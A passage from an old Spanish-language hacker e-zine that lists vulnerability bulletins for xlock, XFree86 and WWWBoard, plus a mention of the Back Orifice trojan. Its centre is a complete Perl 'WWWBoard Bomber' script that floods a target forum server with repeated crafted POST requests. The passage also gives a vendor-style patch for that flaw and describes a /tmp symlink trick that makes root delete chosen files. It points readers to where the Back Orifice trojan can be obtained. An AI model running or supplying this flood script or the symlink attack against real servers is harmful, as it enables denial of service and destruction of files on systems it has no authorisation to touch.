plantext[i] = (char *) malloc(strlen(buf) + 1);
(void) strcpy(plantext[i], buf);
<-->
Descripcion y Notas:
Pues existe un fallo en la implementacion del xlock, que el propio Aaron
nos explica muy bien.
Xlock, busca alguno de los ficheros .xlocktext, .plan o .signature en el
HOME del usuario que lo ha ejecutado. Una vez que coge un fichero, lo abre
para su lectura.
El problema aparece en la funcion de lectura:
static void
read_plan()
{
FILE *planf = NULL;
char buf[121];
char *home = getenv("HOME");
char *buffer;
int i, j, cr;
[...]
planf = my_fopen(buffer, "r");
}
if (planf != NULL) {
for (i = 0; i < TEXTLINES; i++) {
if (fgets(buf, 120, planf)) {
cr = strlen(buf) - 1;
[...]
buf[cr] = '\0';
[...]
Si el fichero existe, pero el primer caracter, por ejemplo, es un caracter
NULL, cr acaba apuntando fuera del buffer.
-( 0x0A )-
Para : XFree86 3.3.2
Tema : A cargarse ficheritos
Patch : No que yo sepa
Creditos : Adrian Voinea
Descripcion y Notas:
Se trata de la ejecucion del servidor X, con la opcion probeonly. En ese
momento, se generan dos ficheros en el directorio temporal: XF86Config.tmp y
dumbconfig.2. Estos ficheros son borrados una vez finalizado el test. Ah!
Y es que estos ficheros se crean en /tmp
El fallo de seguridad aparece cuando se ejecuta desde el root. Si un usuario
avispado realiza unos enlaces con esos nombres a los ficheros que el quiera
(y pueda), al ejecutar el root el programa estara borrando esos ficheros sin
darse cuenta.
-( 0x0B )-
Para : WWWBoard
Tema : Incordiar al servidor de WWWBoard
Patch : Se supone
Creditos : Samuel Sparling
<++> set_017/exploits/wwwbbomber.pl
#!/usr/bin/perl
###################################################
#
# WWWBoard Bomber Exploit Script
# Written By: Samuel Sparling (sparling@slip.net)
#
# Written to exploit a flaw in the WWWBoard script
# by Matt Wright.
#
# Copyright © 1998 Samuel Sparling
# All Rights Reserved.
#
# Written 11-04-1998
###################################################
use Socket;# Tell perl to use the socket module
# Change this if the server you're trying on uses a different port for http
$port=80;
print "WWWBoard Bomber Exploit Script\n\n";
print "WWWBoard.pl URL: ";
$url=<STDIN>;
chop($url) if $url =~ /\n$/;
print "Name: ";
$name=<STDIN>;
chop($name) if $name =~ /\n$/;
print "E-Mail: ";
$email=<STDIN>;
chop($email) if $email =~ /\n$/;
print "Subject: ";
$subject=<STDIN>;
chop($subject) if $subject =~ /\n$/;
print "Message: ";
$message=<STDIN>;
chop($message) if $message =~ /\n$/;
print "Followup Value: ";
$followup=<STDIN>;
chop($followup) if $followup =~ /\n$/;
print "Times to Post: ";
$stop=<STDIN>;
chop($stop) if $stop =~ /\n$/;
# Chop the URL into peices to use for the actual posting
$remote = $url;
$remote =~ s/http\:\/\///g;
$remote =~ s/\/([^>]|\n)*//g;
$path = $url;
$path =~ s/http\:\/\///g;
$path =~ s/$remote//g;
$forminfo =
"name=$name&email=$email&followup=$followup&subject=$subject&body=$message";
$forminfo =~ s/\,/\%2C/g;# Turn comas into %2C so that they can be posted.
$forminfo =~ tr/ /+/;
$length = length($forminfo);
$submit = "POST $path HTTP/1.0\r\nReferer: $url\r\nUser Agent:
Mozilla/4.01 (Win95; I)\r\nContent-type:
application/x-www-form-urlencoded\r\nContent-length:
$length\r\n\r\n$forminfo\r\n";
$i=0;
while($i < $stop)
{
&post_message;
$i++;
print "$i message(s) posted.\n";
}
sub post_message
{
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp'); }
die("No port specified.") unless $port;
$iaddr = inet_aton($remote) || die("Failed to find host: $remote");
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:
$!");
connect(SOCK, $paddr) || die("Unable to connect: $!");
send(SOCK,$submit,0);
while(<SOCK>) {
#print $_;# Uncomment for debugging if you have problems.
}
close(SOCK);
}
exit;
<-->
<++> set_017/patches/wwwboard
if ($FORM{'followup'}) {
$followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}";
# WWWBoard Bomb Patch
# Written By: Samuel Sparling (sparling@slip.net)
$fn=0;
while($fn < $num_followups)
{
$cur_fup = @followups[$fn];
$dfn=0;
foreach $fm(@followups)
{
if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
{
&error(board_bomb);
}
$dfn++;
}
$fn++;
}
# End WWWBoard Bomb Patch
}
<-->
Descripcion y Notas:
Solo acerca del patch. Para aplicarlo, sustituir:
if ($FORM{'followup'}) {
$followup = "1";
@followup_num = split(/,/,$FORM{'followup'});
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$FORM{'origdate'}";
$origname = "$FORM{'origname'}";
$origsubject = "$FORM{'origsubject'}";
}
por el codigo suministrado.
-( 0x0C )-
Para : Windows
Tema : Control remoto
Patch : Usa Linux
Creditos : cDc
Descripcion y Notas:
A estas alturas ya debeis oido todos hablar del Back Orifice. Un
peque~o troyano que permite tener el control total sobre una maquina
conectada a la red con un sistema operativo W95 o W98. Parece que
NT se resiste. Por eso habran sacado el Service Pack tan rapido, para
que se pueda utilizar tambien con el.
Ya sabeis, si quereis el programita, a pasarse por la pagina de los
de la vaca muerta... vamos, los del cDc.
